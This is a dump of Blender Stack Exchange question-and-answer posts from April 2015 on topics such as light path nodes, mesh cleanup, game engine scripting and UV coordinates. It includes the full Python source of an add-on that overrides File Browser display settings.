  <row Id="28048" PostTypeId="2" ParentId="27490" CreationDate="2015-04-03T15:27:32.840" Score="1" Body="&lt;p&gt;You should not use global or static variables, the proper concept to use is Blender's &lt;strong&gt;context&lt;/strong&gt;. Note that this is not a Python mechanism, but something provided by Blender.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The context keeps track of the state of Blender in things such as 'what is the selected scene? what is the active object? what is the current selection?'. This information can then be used by all of Blender's operators, not just your own. Operators, in turn, also affect the context, by for example, modifying the current selection.&#xA;If you bypass the context, there will be some inconsistencies, such as operators working on your previous selection, because you never changed it in the context.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How to set that a given face is selected:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;face.selected = True&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Hot to get all selected faces in a mesh:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;selected_faces = [face for face in mesh.faces if face.select]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The mesh can be obtained from the &lt;em&gt;context&lt;/em&gt; that is passed as an argument to the operator's &lt;code&gt;execute&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="844" LastActivityDate="2015-04-03T15:27:32.840" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="28049" PostTypeId="1" CreationDate="2015-04-03T16:07:44.643" Score="6" ViewCount="8445" Body="&lt;p&gt;I want to understand what the light path node does in blender. For example, here &lt;a href=&quot;http://www.pasteall.org/blend/35401&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.pasteall.org/blend/35401&lt;/a&gt; I am doing a simple rendering of person. I used a point lamp as a light and the node associated to the lamp is mentioned below:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/nJAi0.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I did not use the light path node, I obtained a scene like this (in render settings, I used limited global illumination in the light path)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ZvEHW.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I used the light path like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/dMoOi.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I obtain this image which is more realistic.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/1CGd1.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="11289" LastEditorUserId="241" LastEditDate="2015-04-03T16:12:13.260" LastActivityDate="2015-04-04T20:13:05.037" Title="What does the 'light path' node do?" Tags="&lt;cycles-render-engine&gt;&lt;rendering&gt;&lt;light&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="28050" PostTypeId="1" AcceptedAnswerId="28053" CreationDate="2015-04-03T16:17:20.460" Score="6" ViewCount="2630" Body="&lt;p&gt;I can't find any sort of mesh clean-up menu. I'd like to be able to find Ngons/degenerated faces/ect. quickly on large, complex meshes. Maya is great for this (highlights their locations without auto-fixing them). Can Blender do this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've checked the manual. It says to go to Mesh &gt;&gt; Cleanup. Where is this exactly? &lt;/p&gt;&#xA;" OwnerUserId="13400" LastEditorUserId="12" LastEditDate="2015-04-03T16:28:40.237" LastActivityDate="2015-04-04T15:43:47.630" Title="Where is the cleanup menu in 2.74?" Tags="&lt;interface&gt;" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="28051" PostTypeId="2" ParentId="28050" CreationDate="2015-04-03T16:24:32.323" Score="10" Body="&lt;p&gt;First, you need to be in &lt;em&gt;Edit&lt;/em&gt; mode, then check the &lt;em&gt;3d view&lt;/em&gt; header (the bar at the bottom) of the 3d view and you will see the &lt;em&gt;Mesh&lt;/em&gt; menu item.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/7vzB2.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Additionally, you can press &lt;kbd&gt;Space&lt;/kbd&gt; and search for the operation you want to perform if you know the name.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/suYJX.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can use Select Faces by Sides&lt;sup&gt;[&lt;a href=&quot;https://blender.stackexchange.com/questions/18568/how-can-n-gons-be-selected&quot;&gt;citation&lt;/a&gt;]&lt;/sup&gt; to select all the n-gons like maya&lt;/p&gt;&#xA;" OwnerUserId="12" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:39.140" LastActivityDate="2015-04-04T15:43:47.630" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="28052" PostTypeId="2" ParentId="28034" CreationDate="2015-04-03T16:29:14.137" Score="1" Body="&lt;p&gt;As @Jerryno said, from python you can only get modifiers’ results by applying them into a temp mesh (using &lt;a href=&quot;http://www.blender.org/api/blender_python_api_2_73_2/bpy.types.Object.html#bpy.types.Object.to_mesh&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;Object.to_mesh()&lt;/code&gt;&lt;/a&gt;), there is no reason for 'EditNormals' modifier to behave differently.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also have a look at some official exporters supporting 'apply modifier' feature (like e.g. .obj exporter), that’s what they are doing.&lt;/p&gt;&#xA;" OwnerUserId="2607" LastActivityDate="2015-04-03T16:29:14.137" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28053" PostTypeId="2" ParentId="28050" CreationDate="2015-04-03T16:40:35.177" Score="2" Body="&lt;p&gt;I use a nice little addon called MeshLint for locating Tris, Ngons, Interior Faces etc. within my models. &lt;a href=&quot;http://wiki.blender.org/index.php/Extensions:2.6/Py/Scripts/Modeling/MeshLint&quot; rel=&quot;nofollow&quot;&gt;http://wiki.blender.org/index.php/Extensions:2.6/Py/Scripts/Modeling/MeshLint&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1696" LastActivityDate="2015-04-03T16:40:35.177" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="28054" PostTypeId="2" ParentId="23159" CreationDate="2015-04-03T17:04:35.477" Score="17" Body="&lt;p&gt;This is an addon for overriding the default display settings of the &lt;em&gt;File Browser&lt;/em&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currently you can:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Override the 'Sort Method', the 'Display Type' and the 'Display Size' &lt;/li&gt;&#xA;&lt;li&gt;'Enable' or 'Disable' the overriding directly in the Panel (so you don't need to disable the Add-on each time)&lt;/li&gt;&#xA;&lt;li&gt;Set the 'Sort Method' of the &lt;em&gt;File Browser&lt;/em&gt; for 'All Operators' or a 'certain operator' like &lt;em&gt;Open Blend&lt;/em&gt;,  &lt;em&gt;Open Image&lt;/em&gt;, &lt;em&gt;Recover Blend&lt;/em&gt; etc.&lt;/li&gt;&#xA;&lt;li&gt;'Customize' and 'Reset' the override settings via Add-on Preferences&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/3seRY.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/3seRY.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&#xA;&lt;em&gt;Click to enlarge&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blender.stackexchange.com/questions/1688/installing-an-addon&quot;&gt;Once the Add-on is installed and enabled&lt;/a&gt;, the default 'sorting method' is set to &lt;em&gt;Modification Date&lt;/em&gt;, the 'display type' is &lt;em&gt;Thumbnail&lt;/em&gt; and the 'display size' is set to &lt;em&gt;Tiny&lt;/em&gt;, but you can change that and save the &lt;em&gt;User Preferences&lt;/em&gt; to keep your settings for other sessions. &lt;/p&gt;&#xA;&#xA;&lt;h3&gt;filebrowser-display-override.py&lt;/h3&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# ##### BEGIN GPL LICENSE BLOCK #####&#xA;#&#xA;#  This program is free software; you can redistribute it and/or&#xA;#  modify it under the terms of the GNU General Public License&#xA;#  as published by the Free Software Foundation; either version 2&#xA;#  of the License, or (at your option) any later version.&#xA;#&#xA;#  This program is distributed in the hope that it will be useful,&#xA;#  but WITHOUT ANY WARRANTY; without even the implied warranty of&#xA;#  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the&#xA;#  GNU General Public License for more details.&#xA;#&#xA;#  You should have received a copy of the GNU General Public License&#xA;#  along with this program; if not, write to the Free Software Foundation,&#xA;#  Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.&#xA;#&#xA;# ##### END GPL LICENSE BLOCK #####&#xA;&#xA;bl_info = {&#xA;    &quot;name&quot; : &quot;File Browser Display Override&quot;,&#xA;    &quot;author&quot; : &quot;chebhou, poor&quot;,&#xA;    &quot;version&quot; : (1, 1, 0),&#xA;    &quot;blender&quot; : (2, 78, 0),&#xA;    &quot;location&quot; : &quot;File Browser&quot;,&#xA;    &quot;description&quot; : &quot;Override File Browser Display Settings&quot;,&#xA;    &quot;warning&quot; : &quot;&quot;,&#xA;    &quot;wiki_url&quot; : &quot;&quot;,&#xA;    &quot;tracker_url&quot; : &quot;&quot;,&#xA;    &quot;category&quot; : &quot;User Interface&quot;&#xA;}&#xA;&#xA;import bpy&#xA;from bpy.props import (BoolProperty,&#xA;                       EnumProperty,&#xA;                       PointerProperty,&#xA;                       )&#xA;from bpy.types import (Panel,&#xA;                       Operator,&#xA;                       AddonPreferences,&#xA;                       PropertyGroup,&#xA;                       )&#xA;&#xA;class OverrideFileBrowserSettingsPreferences(AddonPreferences):&#xA;    &quot;&quot;&quot;Add-on Preferences&quot;&quot;&quot;&#xA;&#xA;    bl_idname = __name__&#xA;&#xA;    enable_panel = EnumProperty(&#xA;        name=&quot;Enable Panel per Operator&quot;,&#xA;        description=&quot;Enable Override Panel for certain Operators&quot;,&#xA;        items=(('ALL', &quot;All Operators&quot;, &quot;Always override the Settings&quot;, &quot;RESTRICT_SELECT_OFF&quot;, 0),&#xA;               ('IMAGE_OT_open', &quot;Open Image Operator&quot;, &quot;When Opening an Image (Image Editor)&quot;, &quot;IMAGE_DATA&quot;, 1),&#xA;               ('WM_OT_open_mainfile', &quot;Open Blend Operator&quot;, &quot;When Opening a Blend&quot;, &quot;FILE_FOLDER&quot;, 2),&#xA;               ('WM_OT_recover_auto_save', &quot;Recover Operator&quot;, &quot;When Recovering a Blend&quot;, &quot;RECOVER_LAST&quot;, 3),&#xA;               ('WM_OT_link', &quot;Link Operator&quot;, &quot;When Linking a Blend&quot;, &quot;LINK_BLEND&quot;, 4),                                       &#xA;               ('WM_OT_append', &quot;Append Operator&quot;, &quot;When Appending a Blend&quot;, &quot;APPEND_BLEND&quot;, 5)),&#xA;        default='ALL'&#xA;        )&#xA;&#xA;    enable_sort = BoolProperty(&#xA;        name=&quot;Sort Method&quot;,&#xA;        description=&quot;Enable Sort Method Override&quot;,&#xA;        default=True&#xA;        )&#xA;&#xA;    enable_type = BoolProperty(&#xA;        name=&quot;Display Type&quot;,&#xA;        description=&quot;Enable Display Type Override&quot;,&#xA;        default=True&#xA;        )&#xA;&#xA;    enable_size = BoolProperty(&#xA;        name=&quot;Display Size&quot;,&#xA;        description=&quot;Enable Display Size Override&quot;,&#xA;        default=True&#xA;        )&#xA;&#xA;    def draw(self, context):&#xA;        layout = self.layout&#xA;        row = layout.row(align=True)&#xA;        row.prop(self, &quot;enable_panel&quot;)&#xA;        row = layout.row(align=True)&#xA;        row.prop(self, &quot;enable_sort&quot;, toggle=True)&#xA;        row.prop(self, &quot;enable_type&quot;, toggle=True)&#xA;        row.prop(self, &quot;enable_size&quot;, toggle=True)&#xA;        layout.operator(&quot;filebrowser_display_override.reset_preferences&quot;, &#xA;            icon='FILE_REFRESH')        &#xA;&#xA;&#xA;class ResetOverrideFileBrowserSettings(Operator):&#xA;    &quot;&quot;&quot;Reset Add-on Preferences&quot;&quot;&quot;&#xA;&#xA;    bl_idname = &quot;filebrowser_display_override.reset_preferences&quot;&#xA;    bl_label = &quot;Reset Preferences&quot;&#xA;    bl_options = {&quot;INTERNAL&quot;}&#xA;&#xA;    def execute(self, context):&#xA;        scn = context.scene&#xA;        prefs = context.user_preferences.addons[__name__].preferences&#xA;        prefs.property_unset(&quot;enable_panel&quot;)&#xA;        prefs.property_unset(&quot;enable_sort&quot;)&#xA;        prefs.property_unset(&quot;enable_type&quot;)&#xA;        prefs.property_unset(&quot;enable_size&quot;)&#xA;        bpy.ops.wm.save_userpref() # Save&#xA;        return {'FINISHED'}&#xA;&#xA;&#xA;class OverrideFileBrowserSettingsProperties(PropertyGroup):&#xA;    &quot;&quot;&quot;Add-on Properties&quot;&quot;&quot;&#xA;&#xA;    override = bpy.props.BoolProperty(&#xA;        name=&quot;Override Display Settings&quot;,&#xA;        default=True&#xA;        )&#xA;&#xA;    display_type = bpy.props.EnumProperty(&#xA;        name=&quot;Display Mode&quot;,&#xA;        items=(('LIST_SHORT', 'Short List', 'Display Short List', 'SHORTDISPLAY', 0),&#xA;               ('LIST_LONG', 'Long List', 'Display Short List', 'LONGDISPLAY', 1),&#xA;               ('THUMBNAIL', 'Thumbnails', 'Display Thumbnails', 'IMGDISPLAY', 2)),&#xA;        default='THUMBNAIL'&#xA;        )&#xA;&#xA;    sort_method = bpy.props.EnumProperty(&#xA;        name=&quot;Sort Method&quot;,&#xA;        items=(('FILE_SORT_ALPHA', &quot;Name&quot;, 'Sort by Name', 'SORTALPHA', 0),&#xA;               ('FILE_SORT_EXTENSION', &quot;Extension&quot;, 'Sort by Name Extension', 'SORTBYEXT', 1),&#xA;               ('FILE_SORT_TIME', &quot;Date&quot;, 'Sort by Date', 'SORTTIME', 2),&#xA;               ('FILE_SORT_SIZE', &quot;Size&quot;, 'Sort by Size', 'SORTSIZE', 3)),&#xA;        default='FILE_SORT_TIME'&#xA;        )&#xA;&#xA;    display_size = bpy.props.EnumProperty(&#xA;        name=&quot;Display Size&quot;,&#xA;        items=(('TINY', &quot;Tiny&quot;, 'Tiny Items', 0),&#xA;               ('SMALL', &quot;Small&quot;, 'Small Items', 1),&#xA;               ('NORMAL', &quot;Normal&quot;, 'Normal Items', 2),&#xA;               ('LARGE', &quot;Large&quot;, 'Large Items', 3)),&#xA;        default='TINY'&#xA;        )&#xA;&#xA;&#xA;class OverrideFileBrowserSettingsPanel(Panel):&#xA;    &quot;&quot;&quot;Add-on Panel&quot;&quot;&quot;&#xA;&#xA;    bl_idname = &quot;FILEBROWSER_PT_settings_override&quot;&#xA;    bl_label = &quot;File Browser Display Settings&quot;&#xA;    bl_space_type = &quot;FILE_BROWSER&quot;&#xA;    bl_region_type = 'TOOL_PROPS'&#xA;&#xA;    @classmethod&#xA;    def poll(cls, context):&#xA;        prefs = context.user_preferences.addons[__name__].preferences&#xA;        if context.space_data.active_operator is not None:&#xA;            return context.space_data.active_operator.bl_idname == prefs.enable_panel or \&#xA;                prefs.enable_panel == 'ALL'&#xA;        else:&#xA;            return context.area.type == 'FILE_BROWSER'&#xA;&#xA;    def draw(self, context):&#xA;            scn = context.scene&#xA;            browser = context.space_data&#xA;            props = scn.filebrowser_display_override&#xA;            prefs = context.user_preferences.addons[__name__].preferences&#xA;&#xA;            layout = self.layout&#xA;            row = layout.row()&#xA;            row.prop(props, &quot;override&quot;)&#xA;&#xA;            if prefs.enable_sort:&#xA;                layout.row().prop(props, &quot;sort_method&quot;, text=&quot;Sort by&quot;)&#xA;                if props.override:&#xA;                    if browser.params.sort_method != props.sort_method:&#xA;                        context.space_data.params.sort_method = props.sort_method&#xA;&#xA;            if prefs.enable_type:&#xA;                layout.row().prop(props, &quot;display_type&quot;, text=&quot;Display&quot;)&#xA;                if props.override:&#xA;                    if browser.params.display_type != props.display_type:&#xA;                        context.space_data.params.display_type = props.display_type&#xA;&#xA;            if prefs.enable_size:&#xA;                layout.row().prop(props, &quot;display_size&quot;, text=&quot;Size&quot;)&#xA;                if props.override:&#xA;                    if browser.params.display_size != props.display_size:&#xA;                        context.space_data.params.display_size = props.display_size&#xA;&#xA;&#xA;def register():&#xA;    bpy.utils.register_module(__name__)&#xA;    bpy.types.Scene.filebrowser_display_override = PointerProperty(&#xA;        type=OverrideFileBrowserSettingsProperties)&#xA;&#xA;def unregister():&#xA;    del bpy.types.Scene.filebrowser_display_override&#xA;    bpy.utils.unregister_module(__name__)&#xA;&#xA;&#xA;if __name__ == &quot;__main__&quot;:&#xA;    register()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Gist: &lt;a href=&quot;https://gist.github.com/p2or/59b2795f011f2f024f5e781d1a33a5da&quot; rel=&quot;noreferrer&quot;&gt;https://gist.github.com/p2or/59b2795f011f2f024f5e781d1a33a5da&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5113" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:46.597" LastActivityDate="2017-02-18T23:36:07.413" CommentCount="20" ContentLicense="CC BY-SA 3.0" />
  <row Id="28056" PostTypeId="2" ParentId="28039" CreationDate="2015-04-03T18:34:41.217" Score="1" Body="&lt;pre&gt;&lt;code&gt;cont = bge.logic.getCurrentController()&#xA;own = cont.owner&#xA;&#xA;#Set orientation to euler!&#xA;orientation = own.worldOrientation.to_euler()&#xA;#Set up orientation of each axis&#xA;orientation.x = 0.0&#xA;#Apply rotation&#xA;own.worldOrientation = orientation&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here is the code that resolves the problem! It absolutely works&lt;/p&gt;&#xA;" OwnerUserId="8363" LastEditorUserId="8363" LastEditDate="2015-04-04T20:00:52.930" LastActivityDate="2015-04-04T20:00:52.930" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28057" PostTypeId="1" AcceptedAnswerId="28058" CreationDate="2015-04-03T18:49:48.133" Score="1" ViewCount="45" Body="&lt;p&gt;I want to know how to make object's gravitation low(something like 1.0) or turn it off at all when actuator gives positive pulse. It should keep dynamics, evrything should stay as it is except it shouldn't go down so fast(note so it has also a control that makes it to move on Z axis using linear velocity).&lt;/p&gt;&#xA;" OwnerUserId="8363" LastActivityDate="2015-04-03T19:04:13.190" Title="How to reduce graviation on single object?" Tags="&lt;python&gt;&lt;scripting&gt;&lt;game-engine&gt;&lt;physics&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28058" PostTypeId="2" ParentId="28057" CreationDate="2015-04-03T19:04:13.190" Score="1" Body="&lt;p&gt;OK! Again, I recieved answer and I can tell it myself:&#xA;Using constraint actuator with Damping bigger than 1(about 0.25), distance 1000 and -Z axis I achieved this result!:)&lt;/p&gt;&#xA;" OwnerUserId="8363" LastActivityDate="2015-04-03T19:04:13.190" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28060" PostTypeId="2" ParentId="21447" CreationDate="2015-04-03T19:33:01.900" Score="1" Body="&lt;p&gt;So the thing is easy using globalDict:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def set():&#xA;    cont = bge.logic.getCurrentController()&#xA;    bge.logic.globalDict[&quot;item&quot;] = cont.owner[&quot;item&quot;]&#xA;def cell1get():&#xA;    cont = bge.logic.getCurrentController()&#xA;    item = bge.logic.globalDict.get(&quot;item&quot;)&#xA;    cont.owner[&quot;item&quot;] = item&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="8363" LastActivityDate="2015-04-03T19:33:01.900" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28061" PostTypeId="1" AcceptedAnswerId="28062" CreationDate="2015-04-03T19:35:17.893" Score="6" ViewCount="434" Body="&lt;p&gt;Is there a way to simultaneously translate objects away from predefined object, so basically all objects will move away from it in radial fashion? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, let's say we have an empty in the middle, and some cubes around it. I would like to move the cubes away from the empty, just like in an explosion. I don't want to use particles and force field, but controlled, keyframed animation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried to parent all cubes to the empty, but the only thing I can do is to scale or rotate the objects.&lt;/p&gt;&#xA;" OwnerUserId="625" LastActivityDate="2016-12-20T23:56:47.460" Title="How to translate objects away from an empty?" Tags="&lt;animation&gt;&lt;transforms&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="28062" PostTypeId="2" ParentId="28061" CreationDate="2015-04-03T20:06:55.683" Score="5" Body="&lt;p&gt;To disable the scale of children objects, you need to add object constraint &lt;strong&gt;Limit Scale&lt;/strong&gt; to each one of those objects. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the object constraint enable minimum and maximum on all the axes and change them to 1.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once you resize the parent object, the position of the child objects will change relatively but the size will remain the same.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Y3Uyv.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/lcebA.gif&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/lcebA.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="12820" LastEditorUserId="12820" LastEditDate="2016-12-20T23:56:47.460" LastActivityDate="2016-12-20T23:56:47.460" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28063" PostTypeId="1" CreationDate="2015-04-03T20:18:22.267" Score="8" ViewCount="15381" Body="&lt;p&gt;I have some edges that are not on the x, y or z axis. What is a simple way to straighten them? For example, I can scale and then use &lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;Z&lt;/kbd&gt; to straighten on the x and y axis.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any shortcuts other than temporarily rotating the entire object to put the edges on an axis?&lt;/p&gt;&#xA;" OwnerUserId="11198" LastEditorUserId="241" LastEditDate="2015-12-30T15:33:25.253" LastActivityDate="2018-06-21T09:06:43.463" Title="Straighten edges not on axis" Tags="&lt;modeling&gt;&lt;edges&gt;" AnswerCount="5" CommentCount="4" FavoriteCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="28064" PostTypeId="2" ParentId="27929" CreationDate="2015-04-03T21:01:06.523" Score="10" Body="&lt;p&gt;the problem is the settings you are using ( the clear one is the smoothness which is killing all the ripples leaving only a sharp tail )  you have to adjust the settings according to the object speed and size to get the desired results :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;using the following settings on the canvas (default plane with no subdivisions ) :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Xf3TM.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I get the following results :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Y1YXc.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/152/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=152&quot; /&gt;&lt;/a&gt; bake the dynamic paint and set the result as a  texture for the plane&lt;/p&gt;&#xA;" OwnerUserId="5113" LastEditorUserId="-1" LastEditDate="2017-03-14T09:17:19.773" LastActivityDate="2015-04-03T21:24:46.797" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28065" PostTypeId="1" AcceptedAnswerId="28148" CreationDate="2015-04-03T21:57:28.443" Score="0" ViewCount="1286" Body="&lt;p&gt;I have Blender 2.73a and I am working on a movie project. I want to make HUD-like text since there are no voiceovers. I want the text to be like it is in The Legend of Zelda where it displays the text since that has no voiceovers also. It will be something like this &lt;a href=&quot;https://i.stack.imgur.com/gF4di.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/gF4di.jpg&quot; alt=&quot;&quot; /&gt;&lt;/a&gt;&lt;br /&gt;&#xA;&lt;sub&gt;(source: &lt;a href=&quot;http://fc03.deviantart.net/fs71/f/2014/162/b/d/_gif_you_ve_met_with_a_terrible_fate__haven_t_you__by_repee-d7ly25i.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;deviantart.net&lt;/a&gt;)&lt;/sub&gt;  .&lt;/p&gt;&#xA;" OwnerUserId="5217" LastEditorUserId="-1" LastEditorDisplayName="user1853" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2019-03-28T01:13:41.023" Title="How to create text on a semi-transparent overlay with Cycles?" Tags="&lt;cycles-render-engine&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="28066" PostTypeId="1" CreationDate="2015-04-03T22:00:46.470" Score="2" ViewCount="1040" Body="&lt;p&gt;I want to access to this data:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/lBi5t.png&quot; alt=&quot;uv vertice and 2d cursor coordinates example&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blender.stackexchange.com/questions/4820/exporting-uv-coordinates&quot;&gt;Exporting UV coordinates&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://blenderartists.org/forum/showthread.php?254004-Accessing-UV-data-in-Python-script&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://blenderartists.org/forum/showthread.php?254004-Accessing-UV-data-in-Python-script&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://blenderartists.org/forum/showthread.php?334400-I-want-to-select-a-vertex-on-UV-layer&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://blenderartists.org/forum/showthread.php?334400-I-want-to-select-a-vertex-on-UV-layer&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;but all that return the 3dview vertices coordinates....&lt;/p&gt;&#xA;&#xA;&lt;p&gt;some ideas?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thanks&lt;/p&gt;&#xA;" OwnerUserId="11077" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:45.513" LastActivityDate="2015-04-04T01:00:38.417" Title="UV 2d cursor and vertex coordinates from python script in Edit_Mode" Tags="&lt;python&gt;&lt;scripting&gt;&lt;mesh&gt;&lt;uv&gt;&lt;coordinates&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="28068" PostTypeId="1" CreationDate="2015-04-03T22:28:13.957" Score="1" ViewCount="416" Body="&lt;p&gt;(On blender render, not cycles) I turned off ambient occlusion to get a faster render for a while and I just realized my lamps don't work, Hemi, Spot, Sun, Area, Point... None of them cast any light, the scene is just completely black, I don't know what's going on! Help.&lt;/p&gt;&#xA;" OwnerDisplayName="user13608" LastActivityDate="2015-04-03T22:28:13.957" Title="Lamps not casting any light" Tags="&lt;rendering&gt;&lt;light&gt;" AnswerCount="0" CommentCount="4" ClosedDate="2015-04-04T22:15:46.770" ContentLicense="CC BY-SA 3.0" />
  <row Id="28069" PostTypeId="2" ParentId="28066" CreationDate="2015-04-03T22:40:06.020" Score="2" Body="&lt;p&gt;This will print the uv coordinates of each vertex and (x, y) position in the UVmap editor then the cursor location&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;ob = bpy.context.active_object&#xA;&#xA;for area in bpy.context.screen.areas:&#xA;    if area.type == 'IMAGE_EDITOR':   #find the UVeditor&#xA;        cursor = area.spaces.active.cursor_location   # get cursor location&#xA;        if  area.spaces.active.image :                #get image dimension&#xA;            x = area.spaces.active.image.size[0]&#xA;            y = area.spaces.active.image.size[1]&#xA;        else:&#xA;            x = y = 256&#xA;&#xA;        for v in ob.data.loops :&#xA;             uv = ob.data.uv_layers.active.data[v.index].uv   #get uv coo&#xA;&#xA;            #calculate and print the position in the uv editor&#xA;             print(&quot;vertex %d at with UV coo (%d , %d) at  (%d ,%d)&quot;%(v.index, uv[0], uv[1], uv[0]*x, uv[1]*y) )  &#xA;             print( &quot;is selected ? &quot; , ob.data.uv_layers.active.data[v.index].select )&#xA;&#xA;        print (cursor,x,y)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5113" LastEditorUserId="5113" LastEditDate="2015-04-03T22:57:54.910" LastActivityDate="2015-04-03T22:57:54.910" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
